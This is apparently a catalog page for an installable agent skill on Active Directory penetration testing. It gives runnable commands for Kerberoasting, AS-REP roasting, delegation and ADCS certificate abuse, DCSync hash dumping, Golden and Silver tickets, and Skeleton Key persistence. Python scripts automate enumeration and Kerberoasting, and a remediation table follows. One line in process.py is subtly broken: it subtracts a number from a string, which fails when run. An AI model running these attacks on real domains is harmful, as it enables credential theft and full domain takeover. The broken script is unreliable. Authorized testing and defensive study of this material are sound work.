penetration testing

Performing Active Directory Penetration Test

Conduct a focused Active Directory penetration test to enumerate domain objects, discover attack paths with BloodHound, exploit Kerberos weaknesses, escalate privileges via ADCS/DCSync, and demonstrate domain compromise.

active-directoryadcsbloodhounddcsyncdomain-compromiseimpacketkerberoastingprivilege-escalation
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

Overview

Active Directory (AD) penetration testing targets the central identity and access management system used by over 95% of Fortune 500 companies. The test identifies misconfigurations, weak credentials, dangerous delegation settings, vulnerable certificate templates, and attack paths that enable an attacker to escalate from a standard domain user to Domain Admin or Enterprise Admin.

When to Use

  • When conducting security assessments that involve performing active directory penetration test
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Standard domain user credentials (minimum starting point)
  • Network access to domain controllers (LDAP/389, Kerberos/88, SMB/445, DNS/53)
  • Tools: BloodHound, Impacket, Certipy, Rubeus, NetExec, Mimikatz
  • Kali Linux or Windows attack machine with domain access

Phase 1 — AD Enumeration

Domain Information Gathering

# Basic domain enumeration
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --groups
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --users
 
# LDAP enumeration — domain controllers
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
  -b "OU=Domain Controllers,DC=corp,DC=local" "(objectClass=computer)" dNSHostName
 
# Enumerate trust relationships
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --trusts
 
# Enumerate domain password policy
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --pass-pol
 
# Enumerate Group Policy Objects
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --gpp-passwords
 
# Find computers with unconstrained delegation
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
  -b "DC=corp,DC=local" "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" \
  dNSHostName
 
# Find users with constrained delegation
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
  -b "DC=corp,DC=local" "(&(objectCategory=user)(msds-allowedtodelegateto=*))" \
  sAMAccountName msds-allowedtodelegateto
 
# Enumerate LAPS
netexec ldap 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local -M laps

BloodHound Attack Path Analysis

# Collect all BloodHound data
bloodhound-python -u 'testuser' -p 'Password123' -d corp.local \
  -ns 10.0.0.5 -c all --zip
 
# Alternative: SharpHound from Windows
.\SharpHound.exe -c All --zipfilename bloodhound_data.zip
 
# Start BloodHound
sudo neo4j start
bloodhound --no-sandbox
 
# Key Cypher queries in BloodHound:
# - Shortest path to Domain Admin
# - Find Kerberoastable users
# - Find AS-REP Roastable users
# - Find users with DCSync rights
# - Find shortest path from owned principals
# - Find computers where Domain Users are local admin

Service Account Discovery

# Find service accounts with SPNs (Kerberoastable)
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5
 
# Find accounts without Kerberos pre-authentication
impacket-GetNPUsers 'corp.local/' -usersfile domain_users.txt \
  -dc-ip 10.0.0.5 -format hashcat
 
# Find managed service accounts
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
  -b "DC=corp,DC=local" "(objectClass=msDS-GroupManagedServiceAccount)" \
  sAMAccountName msDS-GroupMSAMembership

Phase 2 — Kerberos Attacks

Kerberoasting

# Extract TGS tickets for service accounts
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5 \
  -outputfile kerberoast.txt -request
 
# Crack with Hashcat (mode 13100 for Kerberos 5 TGS-REP etype 23)
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule --force
 
# Targeted Kerberoasting with Rubeus (Windows)
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_tgs.txt

AS-REP Roasting

# Target accounts without pre-authentication
impacket-GetNPUsers 'corp.local/' -usersfile users.txt -dc-ip 10.0.0.5 \
  -outputfile asrep.txt -format hashcat
 
# Crack AS-REP hashes (mode 18200)
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

Kerberos Delegation Attacks

# Unconstrained delegation — extract TGTs from memory
# If you compromise a host with unconstrained delegation:
.\Rubeus.exe monitor /interval:5 /nowrap
# Force authentication from DC using PrinterBug/SpoolSample
.\SpoolSample.exe DC01.corp.local YOURHOST.corp.local
.\Rubeus.exe ptt /ticket:<base64_ticket>
 
# Constrained delegation — S4U abuse
impacket-getST 'corp.local/svc_web:WebPass123' -spn 'CIFS/fileserver.corp.local' \
  -dc-ip 10.0.0.5 -impersonate administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec 'corp.local/administrator@fileserver.corp.local' -k -no-pass
 
# Resource-Based Constrained Delegation (RBCD)
impacket-addcomputer 'corp.local/testuser:Password123' -computer-name 'EVIL$' \
  -computer-pass 'EvilPass123' -dc-ip 10.0.0.5
python3 rbcd.py -delegate-to 'TARGET$' -delegate-from 'EVIL$' \
  -dc-ip 10.0.0.5 'corp.local/testuser:Password123'
impacket-getST 'corp.local/EVIL$:EvilPass123' -spn 'CIFS/target.corp.local' \
  -impersonate administrator -dc-ip 10.0.0.5

Phase 3 — ADCS (Active Directory Certificate Services) Attacks

# Enumerate ADCS with Certipy
certipy find -u 'testuser@corp.local' -p 'Password123' -dc-ip 10.0.0.5 \
  -vulnerable -stdout
 
# ESC1 — Vulnerable certificate template (enrollee can specify SAN)
certipy req -u 'testuser@corp.local' -p 'Password123' \
  -target ca.corp.local -ca CORP-CA \
  -template VulnerableWebServer -upn administrator@corp.local
 
# Authenticate with the certificate
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.5
 
# ESC4 — Template ACL misconfiguration
# Modify template to enable ESC1 conditions, then exploit as above
 
# ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 flag on CA
certipy req -u 'testuser@corp.local' -p 'Password123' \
  -target ca.corp.local -ca CORP-CA \
  -template User -upn administrator@corp.local
 
# ESC8 — NTLM relay to HTTP enrollment endpoint
certipy relay -target 'http://ca.corp.local/certsrv/certfnsh.asp' \
  -template DomainController

Phase 4 — Domain Privilege Escalation

DCSync Attack

# DCSync — extract all domain hashes (requires replication rights)
impacket-secretsdump 'corp.local/domainadmin:DAPass@10.0.0.5' -just-dc
 
# DCSync specific user
impacket-secretsdump 'corp.local/domainadmin:DAPass@10.0.0.5' \
  -just-dc-user krbtgt
 
# With Mimikatz (Windows)
mimikatz# lsadump::dcsync /domain:corp.local /user:krbtgt

Golden Ticket

# Create Golden Ticket (requires krbtgt hash and domain SID)
impacket-ticketer -nthash <krbtgt_nthash> -domain-sid S-1-5-21-... \
  -domain corp.local administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec 'corp.local/administrator@dc01.corp.local' -k -no-pass
 
# With Mimikatz
mimikatz# kerberos::golden /user:administrator /domain:corp.local \
  /sid:S-1-5-21-... /krbtgt:<hash> /ptt

Silver Ticket

# Create Silver Ticket for specific service
impacket-ticketer -nthash <service_nthash> -domain-sid S-1-5-21-... \
  -domain corp.local -spn MSSQL/sqlserver.corp.local administrator
 
export KRB5CCNAME=administrator.ccache
impacket-mssqlclient 'corp.local/administrator@sqlserver.corp.local' -k -no-pass

Phase 5 — Persistence Demonstration

# Skeleton Key (inject into LSASS — authorized testing only)
mimikatz# privilege::debug
mimikatz# misc::skeleton
# Now any user can authenticate with "mimikatz" as password
 
# AdminSDHolder persistence
# Add controlled user to AdminSDHolder ACL
# SDProp process propagates ACL to all protected groups every 60 minutes
 
# SID History injection
# Inject Domain Admin SID into low-privilege user's SID history
 
# Document all persistence mechanisms and clean up after testing

Findings and Remediation

Finding CVSS Remediation
Kerberoastable accounts with weak passwords 7.5 Use gMSA, enforce 25+ char passwords for service accounts
Unconstrained delegation on servers 8.1 Remove unconstrained delegation, use constrained or RBCD
Vulnerable ADCS templates (ESC1-ESC8) 9.8 Audit templates, remove dangerous permissions, require approval
DCSync permissions on non-DA accounts 9.8 Audit replication rights, implement tiered admin model
LLMNR/NBT-NS enabled 8.1 Disable via GPO
No LAPS deployed 7.2 Deploy Windows LAPS for local admin management
Weak domain password policy 6.5 Enforce 14+ chars, implement fine-grained password policies

References

Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 3

api-reference.md2.3 KB

Active Directory Penetration Test - API Reference

ldap3 Library

Connection

from ldap3 import Server, Connection, ALL, SUBTREE
server = Server("ldaps://dc.example.com", get_info=ALL, use_ssl=True)
conn = Connection(server, user="DOMAIN\\user", password="pass", auto_bind=True)

Key LDAP Queries

Purpose Filter
All users (&(objectClass=user)(objectCategory=person))
Users with SPNs (&(objectClass=user)(servicePrincipalName=*))
AS-REP Roastable (&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))
Domain admins (&(objectClass=group)(cn=Domain Admins))
Password policy (objectClass=domain)

UserAccountControl Flags

Flag Hex Test
ACCOUNTDISABLE 0x0002 Account disabled
PASSWD_NOTREQD 0x0020 No password required
DONT_EXPIRE_PASSWORD 0x10000 Password never expires
DONT_REQ_PREAUTH 0x400000 No Kerberos pre-auth

Impacket Tools

GetUserSPNs (Kerberoasting)

python3 -m impacket.examples.GetUserSPNs DOMAIN/user:pass -dc-ip 10.0.0.1 -request

GetNPUsers (AS-REP Roasting)

python3 -m impacket.examples.GetNPUsers DOMAIN/ -usersfile users.txt -dc-ip 10.0.0.1

secretsdump (Credential Extraction)

python3 -m impacket.examples.secretsdump DOMAIN/admin:pass@10.0.0.1

Attack Techniques

Kerberoasting

  1. Enumerate users with SPNs via LDAP
  2. Request TGS tickets for those SPNs
  3. Extract ticket hashes
  4. Crack offline with hashcat (mode 13100)

AS-REP Roasting

  1. Find accounts with pre-auth disabled
  2. Request AS-REP without authentication
  3. Extract encrypted part of AS-REP
  4. Crack offline with hashcat (mode 18200)

Password Policy Weaknesses

  • Min length < 12 characters
  • No account lockout threshold
  • No password history enforcement
  • Password never expires on service accounts

Output Schema

{
  "report": "ad_penetration_test",
  "domain_info": {"default_naming_context": "DC=example,DC=com"},
  "total_users": 500,
  "total_findings": 12,
  "severity_summary": {"critical": 1, "high": 8, "medium": 3}
}

CLI Usage

python agent.py --server ldaps://dc.example.com --username "DOMAIN\\user" --password "pass" --output report.json
standards.md1.1 KB

Standards — Active Directory Penetration Testing

Key Frameworks

MITRE ATT&CK Techniques for AD Testing

Technique ID Description
Kerberoasting T1558.003 Steal Kerberos TGS tickets for offline cracking
AS-REP Roasting T1558.004 Target accounts without pre-auth
DCSync T1003.006 Replicate domain credentials via DRSUAPI
Golden Ticket T1558.001 Forge TGT using krbtgt hash
Pass-the-Hash T1550.002 Authenticate using NTLM hash
Unconstrained Delegation T1558 Abuse delegation to steal TGTs
ADCS Abuse T1649 Exploit misconfigured certificate templates

AD Security Benchmarks

  • CIS Microsoft Windows Server Benchmark
  • STIG (Security Technical Implementation Guide) for Windows
  • Microsoft Security Compliance Toolkit
workflows.md1.1 KB

Workflows — Active Directory Penetration Testing

AD Attack Flow

Domain User Credentials

    ├── Enumeration
    │   ├── BloodHound (attack paths)
    │   ├── LDAP queries (users, groups, GPOs)
    │   └── Service account discovery (SPNs)

    ├── Kerberos Attacks
    │   ├── Kerberoasting → Hash cracking
    │   ├── AS-REP Roasting → Hash cracking
    │   └── Delegation abuse (unconstrained/constrained/RBCD)

    ├── ADCS Attacks
    │   ├── ESC1-ESC8 template exploitation
    │   └── Certificate-based auth to DA

    ├── Credential Harvesting
    │   ├── LSASS dump (Mimikatz)
    │   ├── SAM/SYSTEM extraction
    │   └── DPAPI credential decryption

    ├── Domain Escalation
    │   ├── DCSync (krbtgt + all hashes)
    │   ├── Golden Ticket
    │   └── AdminSDHolder persistence

    └── Impact Demonstration
        ├── Full domain hash extraction
        ├── Access to sensitive resources
        └── Cross-forest trust abuse

Scripts 2

agent.py6.9 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Active Directory Penetration Test agent - automates AD enumeration using
ldap3 for LDAP queries, subprocess for impacket tools, and generates a
structured pentest findings report."""

import argparse
import json
import subprocess
import sys
from datetime import datetime
from pathlib import Path

try:
    from ldap3 import Server, Connection, ALL, SUBTREE
except ImportError:
    print("Install ldap3: pip install ldap3", file=sys.stderr)
    sys.exit(1)


def connect_ldap(server_url: str, username: str, password: str, use_ssl: bool = True) -> Connection:
    """Establish authenticated LDAP connection."""
    srv = Server(server_url, get_info=ALL, use_ssl=use_ssl)
    conn = Connection(srv, user=username, password=password, auto_bind=True)
    return conn


def get_domain_info(conn: Connection) -> dict:
    """Extract domain functional level and naming context."""
    info = conn.server.info
    return {
        "default_naming_context": info.other.get("defaultNamingContext", [""])[0],
        "forest_functionality": info.other.get("forestFunctionality", [""])[0],
        "domain_functionality": info.other.get("domainFunctionality", [""])[0],
    }


def enumerate_users(conn: Connection, base_dn: str) -> list[dict]:
    """Enumerate all domain users with security-relevant attributes."""
    conn.search(base_dn, "(&(objectClass=user)(objectCategory=person))",
                search_scope=SUBTREE,
                attributes=["sAMAccountName", "userAccountControl", "adminCount",
                             "pwdLastSet", "lastLogon", "servicePrincipalName",
                             "memberOf", "description"])
    users = []
    for entry in conn.entries:
        uac = int(str(entry.userAccountControl)) if hasattr(entry, "userAccountControl") else 0
        users.append({
            "username": str(entry.sAMAccountName),
            "admin_count": str(entry.adminCount) if hasattr(entry, "adminCount") else "0",
            "password_not_required": bool(uac & 0x0020),
            "password_never_expires": bool(uac & 0x10000),
            "account_disabled": bool(uac & 0x0002),
            "kerberos_preauth_not_required": bool(uac & 0x400000),
            "has_spn": bool(entry.servicePrincipalName),
            "description": str(entry.description) if hasattr(entry, "description") else "",
        })
    return users


def find_asrep_roastable(users: list[dict]) -> list[dict]:
    """Identify accounts vulnerable to AS-REP Roasting."""
    findings = []
    for user in users:
        if user["kerberos_preauth_not_required"] and not user["account_disabled"]:
            findings.append({
                "type": "asrep_roastable",
                "severity": "high",
                "account": user["username"],
                "detail": "Kerberos pre-authentication disabled - AS-REP Roasting possible",
            })
    return findings


def find_kerberoastable(users: list[dict]) -> list[dict]:
    """Identify accounts vulnerable to Kerberoasting."""
    findings = []
    for user in users:
        if user["has_spn"] and not user["account_disabled"]:
            findings.append({
                "type": "kerberoastable",
                "severity": "high",
                "account": user["username"],
                "detail": "User account with SPN set - Kerberoasting possible",
            })
    return findings


def check_password_policy(conn: Connection, base_dn: str) -> list[dict]:
    """Audit domain password policy."""
    conn.search(base_dn, "(objectClass=domain)", search_scope=SUBTREE,
                attributes=["minPwdLength", "lockoutThreshold", "pwdHistoryLength",
                             "maxPwdAge", "minPwdAge", "lockoutDuration"])
    findings = []
    if conn.entries:
        entry = conn.entries[0]
        min_len = int(str(entry.minPwdLength)) if hasattr(entry, "minPwdLength") else 0
        lockout = int(str(entry.lockoutThreshold)) if hasattr(entry, "lockoutThreshold") else 0
        if min_len < 12:
            findings.append({
                "type": "weak_password_policy",
                "severity": "high",
                "detail": f"Minimum password length is {min_len} (recommended: 12+)",
            })
        if lockout == 0:
            findings.append({
                "type": "no_account_lockout",
                "severity": "critical",
                "detail": "No account lockout policy - brute force attacks possible",
            })
    return findings


def run_impacket_getspns(dc_ip: str, domain: str, username: str, password: str) -> dict:
    """Run impacket GetUserSPNs for Kerberoasting."""
    cmd = ["python3", "-m", "impacket.examples.GetUserSPNs",
           f"{domain}/{username}:{password}", "-dc-ip", dc_ip, "-request"]
    try:
        result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)
        return {"success": True, "output": result.stdout[:5000], "errors": result.stderr[:1000]}
    except (subprocess.TimeoutExpired, FileNotFoundError) as e:
        return {"success": False, "error": str(e)}


def generate_report(server_url: str, username: str, password: str,
                    use_ssl: bool, dc_ip: str = None) -> dict:
    """Run full AD pentest enumeration and build report."""
    conn = connect_ldap(server_url, username, password, use_ssl)
    domain_info = get_domain_info(conn)
    base_dn = domain_info["default_naming_context"]

    users = enumerate_users(conn, base_dn)
    findings = []
    findings.extend(find_asrep_roastable(users))
    findings.extend(find_kerberoastable(users))
    findings.extend(check_password_policy(conn, base_dn))

    conn.unbind()

    from collections import Counter
    severity_counts = Counter(f["severity"] for f in findings)
    return {
        "report": "ad_penetration_test",
        "generated_at": datetime.utcnow().isoformat() + "Z",
        "domain_info": domain_info,
        "total_users": len(users),
        "total_findings": len(findings),
        "severity_summary": dict(severity_counts),
        "findings": findings,
    }


def main():
    parser = argparse.ArgumentParser(description="AD Penetration Test Agent")
    parser.add_argument("--server", required=True, help="LDAP server URL (ldaps://dc.example.com)")
    parser.add_argument("--username", required=True, help="Domain username (DOMAIN\\\\user)")
    parser.add_argument("--password", required=True, help="Password")
    parser.add_argument("--no-ssl", action="store_true", help="Disable SSL")
    parser.add_argument("--dc-ip", help="DC IP for impacket tools")
    parser.add_argument("--output", help="Output JSON file path")
    args = parser.parse_args()

    report = generate_report(args.server, args.username, args.password,
                             not args.no_ssl, args.dc_ip)
    output = json.dumps(report, indent=2)
    if args.output:
        Path(args.output).write_text(output, encoding="utf-8")
        print(f"Report written to {args.output}")
    else:
        print(output)


if __name__ == "__main__":
    main()
process.py6.8 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""
Active Directory Penetration Test — Automation Process

Automates AD enumeration, Kerberos attack setup, and reporting.
Requires: impacket, bloodhound-python, netexec, ldap3.

Usage:
    python process.py --domain corp.local --dc-ip 10.0.0.5 -u testuser -p Password123 --output ./results
"""

import subprocess
import json
import os
import argparse
import datetime
from pathlib import Path


def run_command(cmd: list[str], timeout: int = 300) -> tuple[str, str, int]:
    try:
        result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
        return result.stdout, result.stderr, result.returncode
    except subprocess.TimeoutExpired:
        return "", f"Timed out after {timeout}s", -1
    except FileNotFoundError:
        return "", f"Not found: {cmd[0]}", -1


def enumerate_domain_users(domain: str, dc_ip: str, user: str, password: str,
                            output_dir: Path) -> list[str]:
    """Enumerate domain users via LDAP."""
    print("[*] Enumerating domain users...")
    stdout, stderr, rc = run_command(
        ["netexec", "smb", dc_ip, "-u", user, "-p", password, "-d", domain, "--users"]
    )
    users_file = output_dir / "domain_users.txt"
    users = []
    for line in stdout.splitlines():
        if "\\\\"-1 not in line and domain.split(".")[0].upper() in line.upper():
            parts = line.strip().split()
            for part in parts:
                if "\\" in part:
                    username = part.split("\\")[-1]
                    users.append(username)
    with open(users_file, "w") as f:
        f.write("\n".join(users))
    print(f"[+] Found {len(users)} domain users")
    return users


def get_spn_users(domain: str, dc_ip: str, user: str, password: str,
                   output_dir: Path) -> str:
    """Find Kerberoastable accounts."""
    print("[*] Finding Kerberoastable service accounts...")
    output_file = output_dir / "kerberoast_hashes.txt"
    stdout, stderr, rc = run_command(
        ["impacket-GetUserSPNs", f"{domain}/{user}:{password}",
         "-dc-ip", dc_ip, "-outputfile", str(output_file), "-request"]
    )
    if rc == 0:
        print(f"[+] Kerberoast hashes saved to {output_file}")
    else:
        print(f"[-] Kerberoasting: {stderr[:200]}")
    return str(output_file)


def get_asrep_users(domain: str, dc_ip: str, users_file: str,
                     output_dir: Path) -> str:
    """Find AS-REP Roastable accounts."""
    print("[*] Finding AS-REP Roastable accounts...")
    output_file = output_dir / "asrep_hashes.txt"
    stdout, stderr, rc = run_command(
        ["impacket-GetNPUsers", f"{domain}/", "-usersfile", users_file,
         "-dc-ip", dc_ip, "-outputfile", str(output_file), "-format", "hashcat"]
    )
    if rc == 0:
        print(f"[+] AS-REP hashes saved to {output_file}")
    return str(output_file)


def collect_bloodhound(domain: str, dc_ip: str, user: str, password: str,
                        output_dir: Path) -> None:
    """Run BloodHound data collection."""
    print("[*] Collecting BloodHound data...")
    stdout, stderr, rc = run_command(
        ["bloodhound-python", "-u", user, "-p", password,
         "-d", domain, "-ns", dc_ip, "-c", "all", "--zip"],
        timeout=600
    )
    if rc == 0:
        print("[+] BloodHound data collected")
    else:
        print(f"[-] BloodHound: {stderr[:200]}")


def check_adcs(domain: str, dc_ip: str, user: str, password: str,
                output_dir: Path) -> str:
    """Check for ADCS vulnerabilities."""
    print("[*] Checking ADCS for vulnerable templates...")
    output_file = output_dir / "adcs_findings.txt"
    stdout, stderr, rc = run_command(
        ["certipy", "find", "-u", f"{user}@{domain}", "-p", password,
         "-dc-ip", dc_ip, "-vulnerable", "-stdout"]
    )
    with open(output_file, "w") as f:
        f.write(stdout)
    if "ESC" in stdout:
        print("[+] Vulnerable ADCS templates found!")
    else:
        print("[*] No vulnerable ADCS templates detected")
    return str(output_file)


def generate_report(domain: str, output_dir: Path) -> str:
    """Generate AD pentest report."""
    print("[*] Generating report...")
    report_file = output_dir / "ad_pentest_report.md"
    timestamp = datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%d %H:%M UTC")

    kerberoast_count = 0
    kf = output_dir / "kerberoast_hashes.txt"
    if kf.exists():
        with open(kf) as f:
            kerberoast_count = sum(1 for line in f if line.strip() and line.startswith("$krb5tgs$"))

    asrep_count = 0
    af = output_dir / "asrep_hashes.txt"
    if af.exists():
        with open(af) as f:
            asrep_count = sum(1 for line in f if line.strip() and line.startswith("$krb5asrep$"))

    with open(report_file, "w") as f:
        f.write(f"# Active Directory Penetration Test Report\n\n")
        f.write(f"**Domain:** {domain}\n")
        f.write(f"**Generated:** {timestamp}\n\n---\n\n")
        f.write("## Kerberos Attack Results\n\n")
        f.write(f"- Kerberoastable accounts: **{kerberoast_count}**\n")
        f.write(f"- AS-REP Roastable accounts: **{asrep_count}**\n\n")
        f.write("## Recommendations\n\n")
        f.write("1. Convert service accounts to Group Managed Service Accounts (gMSA)\n")
        f.write("2. Enforce 25+ character passwords for remaining SPNs\n")
        f.write("3. Enable Kerberos pre-authentication for all accounts\n")
        f.write("4. Audit and remediate ADCS template vulnerabilities\n")
        f.write("5. Implement tiered administration model\n")
        f.write("6. Deploy monitoring for DCSync and Golden Ticket attacks\n")

    print(f"[+] Report: {report_file}")
    return str(report_file)


def main():
    parser = argparse.ArgumentParser(description="AD Pentest Automation")
    parser.add_argument("--domain", required=True)
    parser.add_argument("--dc-ip", required=True)
    parser.add_argument("-u", "--username", required=True)
    parser.add_argument("-p", "--password", required=True)
    parser.add_argument("--output", default="./results")
    args = parser.parse_args()

    output_dir = Path(args.output)
    output_dir.mkdir(parents=True, exist_ok=True)

    print("=" * 60)
    print(f" AD Penetration Test — {args.domain}")
    print("=" * 60)

    users = enumerate_domain_users(args.domain, args.dc_ip, args.username, args.password, output_dir)
    users_file = str(output_dir / "domain_users.txt")

    get_spn_users(args.domain, args.dc_ip, args.username, args.password, output_dir)
    get_asrep_users(args.domain, args.dc_ip, users_file, output_dir)
    collect_bloodhound(args.domain, args.dc_ip, args.username, args.password, output_dir)
    check_adcs(args.domain, args.dc_ip, args.username, args.password, output_dir)
    generate_report(args.domain, output_dir)

    print("\n[+] AD pentest automation complete")


if __name__ == "__main__":
    main()

Assets 1

template.mdtext/markdown · 1.2 KB
Keep exploring